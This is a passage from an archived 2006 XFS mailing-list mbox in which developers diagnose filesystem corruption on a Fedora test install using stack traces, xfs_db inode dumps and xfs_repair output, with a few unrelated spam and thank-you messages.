gotp->br_startoff, gotp->br_blockcount,gotp->br_state); } Can you attach the hex dump of complete log with inode and extent information ? I want to see what has gone into the log for the operations on this inode. It could be that the extent map was corrupted just before shutdown or something in recovery screwed up. -shailendra From: xfs-bounce@oss.sgi.com on behalf of Carl-Johan Kjellander Sent: Fri 10/20/2006 6:34 PM To: xfs@oss.sgi.com Subject: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c I've been hit by a bug installing FC6test4. It will hold us back upgrading since we use XFS for our home-dirs at work. Here is the link to the bug report at redhat's bugzilla: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=211086 Here is dmesg when I try to read the file /var/lib/rpm/Packages: XFS internal error XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c. Caller 0xeeb4e6ba [] dump_trace+0x69/0x1af [] show_trace_log_lvl+0x18/0x2c [] show_trace+0xf/0x11 [] dump_stack+0x15/0x17 [] xfs_bmap_read_extents+0x448/0x462 [xfs] [] xfs_iread_extents+0xa0/0xbb [xfs] [] xfs_bmapi+0x23a/0x1f83 [xfs] [] xfs_iomap+0x2e1/0x78d [xfs] [] __xfs_get_blocks+0x72/0x237 [xfs] [] xfs_get_blocks+0x28/0x2d [xfs] [] do_mpage_readpage+0x282/0x5e2 [] mpage_readpages+0xac/0x114 [] __do_page_cache_readahead+0x124/0x1c8 [] blockable_page_cache_readahead+0x4c/0x9f [] page_cache_readahead+0xbf/0x196 [] do_generic_mapping_read+0x13d/0x49b [] __generic_file_aio_read+0x18c/0x1d1 [] xfs_read+0x294/0x2fc [xfs] [] xfs_file_aio_read+0x70/0x78 [xfs] [] do_sync_read+0xc1/0xfb [] vfs_read+0xa6/0x157 [] sys_read+0x41/0x67 [] syscall_call+0x7/0xb DWARF2 unwinder stuck at syscall_call+0x7/0xb I have the actual partition bzip:ed. http://razor.csbnet.se/varfucked.bz2 Unpack it and dd to a 4GB logical volume and try to read from /var/lib/rpm/Packages /cjk -- begin 644 carljohan_at_kjellander_dot_com.gif Y1TE&.#=A(0`F`(```````/___RP`````(0`F```"@XR/!\N<#U.;+MI`<[U(>\!UGQ9BGT%>'D2I Y*=NX,2@OUF2&<827ILW;^822C>\7!!Z1,!K'B5(6HQI6:7"A>Y?):D2^*U@NCV RLZYD-_T1U<@3W]A4(^$-W4]A#V")W6#.R"$;IR'@).46BN7$9>5D``#L` [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sat Oct 21 14:16:32 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 14:16:42 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9LLGUaG026920 for ; Sat, 21 Oct 2006 14:16:32 -0700 X-ASG-Debug-ID: 1161465346-8070-392-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 46CE1D19F57B for ; Sat, 21 Oct 2006 14:15:46 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id DE5A618CF985A; Sat, 21 Oct 2006 16:15:44 -0500 (CDT) Message-ID: <453A8DFF.20707@sandeen.net> Date: Sat, 21 Oct 2006 16:15:43 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Shailendra Tripathi CC: Carl-Johan Kjellander , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Subject: Re: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c References: <45397929.8050704@kjellander.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23796 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9384 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Shailendra Tripathi wrote: > Hi Carl, > The best way to see what is going on is to see what log thinks it has. You must have got a message indicating the inode number and other details of the extent as indicated by the source. > > if(!rt && !gotp->br_startblock && (*lastxp != NULLEXTNUM )) { > cmn_err (CE_PANIC ,"Access to block zero: fs: <%s> inode: %lld " > "start_block : %llx start_off : %llx blkcnt : %llx " > "extent-state : %x \n", > (ip ->i_mount)->m_fsname,(long long)ip ->i_ino, > gotp->br_startblock, gotp->br_startoff, > gotp->br_blockcount,gotp->br_state); > } > > > > Can you attach the hex dump of complete log with inode and extent information ? I want to see what has gone into the log for the operations on this inode. It could be that the extent map was corrupted just before shutdown or something in recovery screwed up. > -shailendra (russell, looks like your take-message-rewriter is going a bit nuts up there? or something) Anyway, the code in question that tripped here is: XFS_WANT_CORRUPTED_GOTO( XFS_BMAP_SANITY_CHECK(mp, block, level), error0); which is checking magic & other things. The filesystem is corrupted; I'd guess this may be from 4kstacks + xfs + lvm + raid. the image he provided has a clean log... XFS mounting filesystem loop0 Ending clean XFS mount for filesystem: loop0 this file is one of the ones in bad shape as he mentioned: [root@link-07 tmp]# ls -i mnt/lib/rpm/Packages 1048708 mnt/lib/rpm/Packages in my case if I try to read it I get: attempt to access beyond end of device loop0: rw=0, want=1546188226568, limit=4194304 I/O error in filesystem ("loop0") meta-data dev loop0 block 0x16800000000 ("xfs_trans_read_buf") error 5 buf count 4096 attempt to access beyond end of device the inode looks like : xfs_db> p core.magic = 0x494e core.mode = 0100644 core.version = 1 core.format = 3 (btree) core.nlinkv1 = 1 core.uid = 37 core.gid = 37 core.flushiter = 121 core.atime.sec = Sun Oct 15 17:17:38 2006 core.atime.nsec = 403299952 core.mtime.sec = Sun Oct 15 17:17:38 2006 core.mtime.nsec = 403299952 core.ctime.sec = Sun Oct 15 17:17:45 2006 core.ctime.nsec = 983773702 core.size = 21340160 core.nblocks = 5212 core.extsize = 0 core.nextents = 154 core.naextents = 1 core.forkoff = 15 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.nodefrag = 0 core.gen = 0 next_unlinked = null u.bmbt.level = 1 u.bmbt.numrecs = 1 u.bmbt.keys[1] = [startoff] 1:[0] u.bmbt.ptrs[1] = 1:1233986491173044224 a.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,72071,1,0] repair output: repair output follows. [root@link-07 tmp]# xfs_repair -n image Phase 1 - find and verify superblock... Phase 2 - using internal log - scan filesystem freespace and inode maps... would zero unused portion of primary superblock (AG #0) would zero unused portion of secondary superblock (AG #1) would zero unused portion of secondary superblock (AG #2) would zero unused portion of secondary superblock (AG #3) would zero unused portion of secondary superblock (AG #4) would zero unused portion of secondary superblock (AG #5) would zero unused portion of secondary superblock (AG #6) would zero unused portion of secondary superblock (AG #7) - found root inode chunk Phase 3 - for each AG... - scan (but don't clear) agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 bad bmap btree ptr 0x1120002d00000000 in ino 1048708 bad data fork in inode 1048708 would have cleared inode 1048708 bad bmap btree ptr 0x8000000300000000 in ino 1048709 bad data fork in inode 1048709 would have cleared inode 1048709 bad bmap btree ptr 0x57e0001700000000 in ino 1048711 bad data fork in inode 1048711 would have cleared inode 1048711 bad bmap btree ptr 0x9b00000200000000 in ino 1048716 bad data fork in inode 1048716 would have cleared inode 1048716 bad bmap btree ptr 0x9140000100000000 in ino 1048717 bad data fork in inode 1048717 would have cleared inode 1048717 bad bmap btree ptr 0xbf00000100000000 in ino 1048718 bad data fork in inode 1048718 would have cleared inode 1048718 bad bmap btree ptr 0xa840000100000000 in ino 1048719 bad data fork in inode 1048719 would have cleared inode 1048719 bad bmap btree ptr 0x6b00000100000000 in ino 1048722 bad data fork in inode 1048722 would have cleared inode 1048722 bad bmap btree ptr 0x98c0000100000000 in ino 1048723 bad data fork in inode 1048723 would have cleared inode 1048723 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 entry "Packages" at block 0 offset 144 in directory inode 1048704 references free inode 1048708 would clear inode number in entry at offset 144... entry "Providename" at block 0 offset 200 in directory inode 1048704 references free inode 1048709 would clear inode number in entry at offset 200... entry "Basenames" at block 0 offset 312 in directory inode 1048704 references free inode 1048711 would clear inode number in entry at offset 312... entry "Requirename" at block 0 offset 520 in directory inode 1048704 references free inode 1048716 would clear inode number in entry at offset 520... entry "Dirnames" at block 0 offset 568 in directory inode 1048704 references free inode 1048717 would clear inode number in entry at offset 568... entry "Requireversion" at block 0 offset 624 in directory inode 1048704 references free inode 1048718 would clear inode number in entry at offset 624... entry "Provideversion" at block 0 offset 688 in directory inode 1048704 references free inode 1048719 would clear inode number in entry at offset 688... entry "Sha1header" at block 0 offset 856 in directory inode 1048704 references free inode 1048722 would clear inode number in entry at offset 856... entry "Filemd5s" at block 0 offset 904 in directory inode 1048704 references free inode 1048723 would clear inode number in entry at offset 904... bad bmap btree ptr 0x1120002d00000000 in ino 1048708 bad data fork in inode 1048708 would have cleared inode 1048708 bad bmap btree ptr 0x8000000300000000 in ino 1048709 bad data fork in inode 1048709 would have cleared inode 1048709 bad bmap btree ptr 0x57e0001700000000 in ino 1048711 bad data fork in inode 1048711 would have cleared inode 1048711 bad bmap btree ptr 0x9b00000200000000 in ino 1048716 bad data fork in inode 1048716 would have cleared inode 1048716 bad bmap btree ptr 0x9140000100000000 in ino 1048717 bad data fork in inode 1048717 would have cleared inode 1048717 bad bmap btree ptr 0xbf00000100000000 in ino 1048718 bad data fork in inode 1048718 would have cleared inode 1048718 bad bmap btree ptr 0xa840000100000000 in ino 1048719 bad data fork in inode 1048719 would have cleared inode 1048719 bad bmap btree ptr 0x6b00000100000000 in ino 1048722 bad data fork in inode 1048722 would have cleared inode 1048722 bad bmap btree ptr 0x98c0000100000000 in ino 1048723 bad data fork in inode 1048723 would have cleared inode 1048723 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 No modify flag set, skipping phase 5 Phase 6 - check inode connectivity... - traversing filesystem starting at / ... entry "Packages" in directory inode 1048704 points to free inode 1048708, would junk entry entry "Providename" in directory inode 1048704 points to free inode 1048709, would junk entry entry "Basenames" in directory inode 1048704 points to free inode 1048711, would junk entry entry "Requirename" in directory inode 1048704 points to free inode 1048716, would junk entry entry "Dirnames" in directory inode 1048704 points to free inode 1048717, would junk entry entry "Requireversion" in directory inode 1048704 points to free inode 1048718, would junk entry entry "Provideversion" in directory inode 1048704 points to free inode 1048719, would junk entry entry "Sha1header" in directory inode 1048704 points to free inode 1048722, would junk entry entry "Filemd5s" in directory inode 1048704 points to free inode 1048723, would junk entry - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify link counts... No modify flag set, skipping filesystem flush and exiting. From owner-xfs@oss.sgi.com Sat Oct 21 15:31:20 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 15:31:27 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9LMVJaG001533 for ; Sat, 21 Oct 2006 15:31:20 -0700 X-ASG-Debug-ID: 1161469834-13597-344-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ext.agami.com (64.221.212.177.ptr.us.xo.net [64.221.212.177]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5D99D4C135D for ; Sat, 21 Oct 2006 15:30:34 -0700 (PDT) Received: from agami.com ([192.168.168.146]) by ext.agami.com (8.12.5/8.12.5) with ESMTP id k9LMUXBF021331 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Oct 2006 15:30:33 -0700 Received: from mx1.agami.com (mx1.agami.com [10.123.10.30]) by agami.com (8.12.11/8.12.11) with ESMTP id k9LMUSDX017043 for ; Sat, 21 Oct 2006 15:30:28 -0700 Received: from [127.0.0.1] ([10.125.200.140]) by mx1.agami.com with Microsoft SMTPSVC(6.0.3790.1830); Sat, 21 Oct 2006 15:35:30 -0700 Message-ID: <453A9F71.3030207@agami.com> Date: Sat, 21 Oct 2006 15:30:09 -0700 From: Shailendra Tripathi User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: Eric Sandeen CC: Carl-Johan Kjellander , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Subject: Re: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c References: <45397929.8050704@kjellander.com> <453A8DFF.20707@sandeen.net> In-Reply-To: <453A8DFF.20707@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 21 Oct 2006 22:35:30.0375 (UTC) FILETIME=[36A05D70:01C6F561] X-Scanned-By: MIMEDefang 2.36 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23798 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9385 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stripathi@agami.com Precedence: bulk X-list: xfs Status: O Eric Sandeen wrote: > Anyway, the code in question that tripped here is: > > XFS_WANT_CORRUPTED_GOTO( > XFS_BMAP_SANITY_CHECK(mp, block, level), > error0); > > which is checking magic & other things. > OK. Thanks. > The filesystem is corrupted; I'd guess this may be from 4kstacks + xfs > + lvm + raid. > Yes, the corruption is persisted. I'd like to think on another direction as well besides stack corruption isue and I have a reason for the same: All the inodes which are corrupted are in the same region. The corruption starts from 1048704 which is a directory and other inodes which are corrupted are: 1048708 1048709 1048711 1048716 1048717 1048718 1048719 1048722 1048723 (gdb) p/x 1048704 % 64 $1 = 0x0 (gdb) p/x 1048708 % 64 $2 = 0x4 (gdb) p 1048723 % 64 $7 = 19 (gdb) p 1048723 - 1048704 $8 = 19 XFS flushes inodes in 8K buffer at a time. If I assume 256 byte inode(I couldn't get enough data to verify. I didn't hard to find if this is the case as well), so all these inodes are part of one flush buffer(32 inodes will be flushed in one buffer). So, it could be possible that an I/O to the buffer is lost somewhere. That's why, whole bunch of inodes in the same region are corrupted. > the image he provided has a clean log... > XFS mounting filesystem loop0 > Ending clean XFS mount for filesystem: loop0 > > this file is one of the ones in bad shape as he mentioned: > > [root@link-07 tmp]# ls -i mnt/lib/rpm/Packages > 1048708 mnt/lib/rpm/Packages > > in my case if I try to read it I get: > > attempt to access beyond end of device > loop0: rw=0, want=1546188226568, limit=4194304 > I/O error in filesystem ("loop0") meta-data dev loop0 block > 0x16800000000 ("xfs_trans_read_buf") error 5 buf count 4096 > attempt to access beyond end of device > > the inode looks like : > > xfs_db> p > core.magic = 0x494e > core.mode = 0100644 > core.version = 1 > core.format = 3 (btree) > core.nlinkv1 = 1 > core.uid = 37 > core.gid = 37 > core.flushiter = 121 > core.atime.sec = Sun Oct 15 17:17:38 2006 > core.atime.nsec = 403299952 > core.mtime.sec = Sun Oct 15 17:17:38 2006 > core.mtime.nsec = 403299952 > core.ctime.sec = Sun Oct 15 17:17:45 2006 > core.ctime.nsec = 983773702 > core.size = 21340160 > core.nblocks = 5212 > core.extsize = 0 > core.nextents = 154 > core.naextents = 1 > core.forkoff = 15 > core.aformat = 2 (extents) > core.dmevmask = 0 > core.dmstate = 0 > core.newrtbm = 0 > core.prealloc = 0 > core.realtime = 0 > core.immutable = 0 > core.append = 0 > core.sync = 0 > core.noatime = 0 > core.nodump = 0 > core.rtinherit = 0 > core.projinherit = 0 > core.nosymlinks = 0 > core.extsz = 0 > core.extszinherit = 0 > core.nodefrag = 0 > core.gen = 0 > next_unlinked = null > u.bmbt.level = 1 > u.bmbt.numrecs = 1 > u.bmbt.keys[1] = [startoff] 1:[0] > u.bmbt.ptrs[1] = 1:1233986491173044224 > a.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,72071,1,0] > > repair output: > > repair output follows. > > [root@link-07 tmp]# xfs_repair -n image > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - scan filesystem freespace and inode maps... > would zero unused portion of primary superblock (AG #0) > would zero unused portion of secondary superblock (AG #1) > would zero unused portion of secondary superblock (AG #2) > would zero unused portion of secondary superblock (AG #3) > would zero unused portion of secondary superblock (AG #4) > would zero unused portion of secondary superblock (AG #5) > would zero unused portion of secondary superblock (AG #6) > would zero unused portion of secondary superblock (AG #7) > - found root inode chunk > Phase 3 - for each AG... > - scan (but don't clear) agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > - agno = 1 > bad bmap btree ptr 0x1120002d00000000 in ino 1048708 > bad data fork in inode 1048708 > would have cleared inode 1048708 > bad bmap btree ptr 0x8000000300000000 in ino 1048709 > bad data fork in inode 1048709 > would have cleared inode 1048709 > bad bmap btree ptr 0x57e0001700000000 in ino 1048711 > bad data fork in inode 1048711 > would have cleared inode 1048711 > bad bmap btree ptr 0x9b00000200000000 in ino 1048716 > bad data fork in inode 1048716 > would have cleared inode 1048716 > bad bmap btree ptr 0x9140000100000000 in ino 1048717 > bad data fork in inode 1048717 > would have cleared inode 1048717 > bad bmap btree ptr 0xbf00000100000000 in ino 1048718 > bad data fork in inode 1048718 > would have cleared inode 1048718 > bad bmap btree ptr 0xa840000100000000 in ino 1048719 > bad data fork in inode 1048719 > would have cleared inode 1048719 > bad bmap btree ptr 0x6b00000100000000 in ino 1048722 > bad data fork in inode 1048722 > would have cleared inode 1048722 > bad bmap btree ptr 0x98c0000100000000 in ino 1048723 > bad data fork in inode 1048723 > would have cleared inode 1048723 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > - process newly discovered inodes... > Phase 4 - check for duplicate blocks... > - setting up duplicate extent list... > - check for inodes claiming duplicate blocks... > - agno = 0 > - agno = 1 > entry "Packages" at block 0 offset 144 in directory inode 1048704 > references free inode 1048708 > would clear inode number in entry at offset 144... > entry "Providename" at block 0 offset 200 in directory inode 1048704 > references free inode 1048709 > would clear inode number in entry at offset 200... > entry "Basenames" at block 0 offset 312 in directory inode 1048704 > references free inode 1048711 > would clear inode number in entry at offset 312... > entry "Requirename" at block 0 offset 520 in directory inode 1048704 > references free inode 1048716 > would clear inode number in entry at offset 520... > entry "Dirnames" at block 0 offset 568 in directory inode 1048704 > references free inode 1048717 > would clear inode number in entry at offset 568... > entry "Requireversion" at block 0 offset 624 in directory inode > 1048704 references free inode 1048718 > would clear inode number in entry at offset 624... > entry "Provideversion" at block 0 offset 688 in directory inode > 1048704 references free inode 1048719 > would clear inode number in entry at offset 688... > entry "Sha1header" at block 0 offset 856 in directory inode 1048704 > references free inode 1048722 > would clear inode number in entry at offset 856... > entry "Filemd5s" at block 0 offset 904 in directory inode 1048704 > references free inode 1048723 > would clear inode number in entry at offset 904... > bad bmap btree ptr 0x1120002d00000000 in ino 1048708 > bad data fork in inode 1048708 > would have cleared inode 1048708 > bad bmap btree ptr 0x8000000300000000 in ino 1048709 > bad data fork in inode 1048709 > would have cleared inode 1048709 > bad bmap btree ptr 0x57e0001700000000 in ino 1048711 > bad data fork in inode 1048711 > would have cleared inode 1048711 > bad bmap btree ptr 0x9b00000200000000 in ino 1048716 > bad data fork in inode 1048716 > would have cleared inode 1048716 > bad bmap btree ptr 0x9140000100000000 in ino 1048717 > bad data fork in inode 1048717 > would have cleared inode 1048717 > bad bmap btree ptr 0xbf00000100000000 in ino 1048718 > bad data fork in inode 1048718 > would have cleared inode 1048718 > bad bmap btree ptr 0xa840000100000000 in ino 1048719 > bad data fork in inode 1048719 > would have cleared inode 1048719 > bad bmap btree ptr 0x6b00000100000000 in ino 1048722 > bad data fork in inode 1048722 > would have cleared inode 1048722 > bad bmap btree ptr 0x98c0000100000000 in ino 1048723 > bad data fork in inode 1048723 > would have cleared inode 1048723 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > No modify flag set, skipping phase 5 > Phase 6 - check inode connectivity... > - traversing filesystem starting at / ... > entry "Packages" in directory inode 1048704 points to free inode > 1048708, would junk entry > entry "Providename" in directory inode 1048704 points to free inode > 1048709, would junk entry > entry "Basenames" in directory inode 1048704 points to free inode > 1048711, would junk entry > entry "Requirename" in directory inode 1048704 points to free inode > 1048716, would junk entry > entry "Dirnames" in directory inode 1048704 points to free inode > 1048717, would junk entry > entry "Requireversion" in directory inode 1048704 points to free inode > 1048718, would junk entry > entry "Provideversion" in directory inode 1048704 points to free inode > 1048719, would junk entry > entry "Sha1header" in directory inode 1048704 points to free inode > 1048722, would junk entry > entry "Filemd5s" in directory inode 1048704 points to free inode > 1048723, would junk entry > - traversal finished ... > - traversing all unattached subtrees ... > - traversals finished ... > - moving disconnected inodes to lost+found ... > Phase 7 - verify link counts... > No modify flag set, skipping filesystem flush and exiting. From owner-xfs@oss.sgi.com Sat Oct 21 20:11:17 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 20:11:23 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9M3BGaG029038 for ; Sat, 21 Oct 2006 20:11:17 -0700 X-ASG-Debug-ID: 1161482578-2659-813-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bergmans.us (frylock.bergmans.us [65.19.178.22]) by cuda.sgi.com (Spam Firewall) with ESMTP id 276394BC7FC for ; Sat, 21 Oct 2006 19:02:58 -0700 (PDT) Received: from linode.bergmans.us (localhost [127.0.0.1]) by bergmans.us (Postfix) with ESMTP id E5B1A2B7D3 for ; Sat, 21 Oct 2006 21:30:55 -0400 (EDT) From: EoC To: xfs@oss.sgi.com X-ASG-Orig-Subj: Help for the openldap-windows@bergmans.us mailing list Subject: Help for the openldap-windows@bergmans.us mailing list Content-type: text/plain; charset=us-ascii Message-Id: <20061022013055.E5B1A2B7D3@bergmans.us> Date: Sat, 21 Oct 2006 21:30:55 -0400 (EDT) X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) X-archive-position: 9386 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: openldap-windows-help@bergmans.us Precedence: bulk X-list: xfs Status: O Hello, this is the help text for the openldap-windows@bergmans.us mailing list. The list is operated by the EoC mailing list manager. It understands the following command addresses: openldap-windows-help@bergmans.us Sends this help text. openldap-windows-subscribe@bergmans.us Subscribe to the list. You will get a confirmation request. openldap-windows-subscribe-foo=bar@bergmans.us Subscribe the address foo@bar to the list. foo@bar will get the confirmation request. openldap-windows-unsubscribe@bergmans.us Unsubscribe from the list. You will get a confirmation request. openldap-windows-unsubscribe-foo=bar@bergmans.us Unsubscribe the address foo@bar from the list. foo@bar will get the confirmation request. If you have problems that are not solved by this help text, please contact the human owner of the list at openldap-windows-owner@bergmans.us. Thank you. From owner-xfs@oss.sgi.com Sat Oct 21 20:20:14 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 20:20:23 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9M3KDaG002340 for ; Sat, 21 Oct 2006 20:20:14 -0700 X-ASG-Debug-ID: 1161487166-30700-348-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from C2bthomr06.btconnect.com (c2bthomr06.btconnect.com [194.73.73.221]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0788DD1A2253 for ; Sat, 21 Oct 2006 20:19:27 -0700 (PDT) Received: from [192.168.254.1] (host86-141-152-174.range86-141.btcentralplus.com [86.141.152.174]) by C2bthomr06.btconnect.com (MOS 3.7.4b-GA) with SMTP id FDB31889; Sun, 22 Oct 2006 04:14:00 +0100 (BST) MIME-Version: 1.0 Message-Id: <1DB7C8BE617C11DB9A190030659B0A9E@btconnect.com> Date: Sun, 22 Oct 2006 04:19:23 +0100 To: From: ItaliaUK X-ASG-Orig-Subj: Business to Business Trade News Subject: Business to Business Trade News X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23800 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 629 X-archive-position: 9387 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: italiauk@btconnect.com Precedence: bulk X-list: xfs Status: O Business to Business News Alerts If you are unable to view this email then please set your email software to read Enriched HTML emails. If you are unable to do this then please enter the following URL into your web browser, either by pasting it in directly or by entering it manually: http://www.italiauk.net/email_alerts/newsalert201006.htm Should you wish to contact Italia UK Ltd, then please call us on 0161 976 1212 or visit our website direct at http://www.italiauk.net If you have received this Business to Business email in error please accept our apologies. The Italia UK Team. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sun Oct 22 05:13:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 05:14:03 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9MCDuaG008129 for ; Sun, 22 Oct 2006 05:13:57 -0700 X-ASG-Debug-ID: 1161519192-14549-232-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mondschein.lichtvoll.de (mondschein.lichtschiff.de [194.150.191.238]) by cuda.sgi.com (Spam Firewall) with ESMTP id 969004C4720 for ; Sun, 22 Oct 2006 05:13:12 -0700 (PDT) Received: from localhost (dslb-084-056-092-060.pools.arcor-ip.net [84.56.92.60]) by mondschein.lichtvoll.de (Postfix) with ESMTP id D02AFFA08D for ; Sun, 22 Oct 2006 14:10:36 +0200 (CEST) From: Martin Steigerwald To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Thank you! Subject: Thank you! Date: Sun, 22 Oct 2006 14:13:02 +0200 User-Agent: KMail/1.9.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610221413.03755.Martin@lichtvoll.de> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9388 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Martin@lichtvoll.de Precedence: bulk X-list: xfs Status: O Hello! Since 2.6.17.7 I had no issue with XFS anymore! Its working nicely also with 2.6.18. Thank you, XFS and write barrier guys! I hope SGI will do well after it has left Chapter 7. Best wishes from my side. Regards, -- Martin 'Helios' Steigerwald - http://www.Lichtvoll.de GPG: 03B0 0D6C 0040 0710 4AFA B82F 991B EAAC A599 84C7 From owner-xfs@oss.sgi.com Sun Oct 22 11:34:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 11:34:53 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9MIYeaG018663 for ; Sun, 22 Oct 2006 11:34:42 -0700 X-ASG-Debug-ID: 1161537410-26444-936-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi 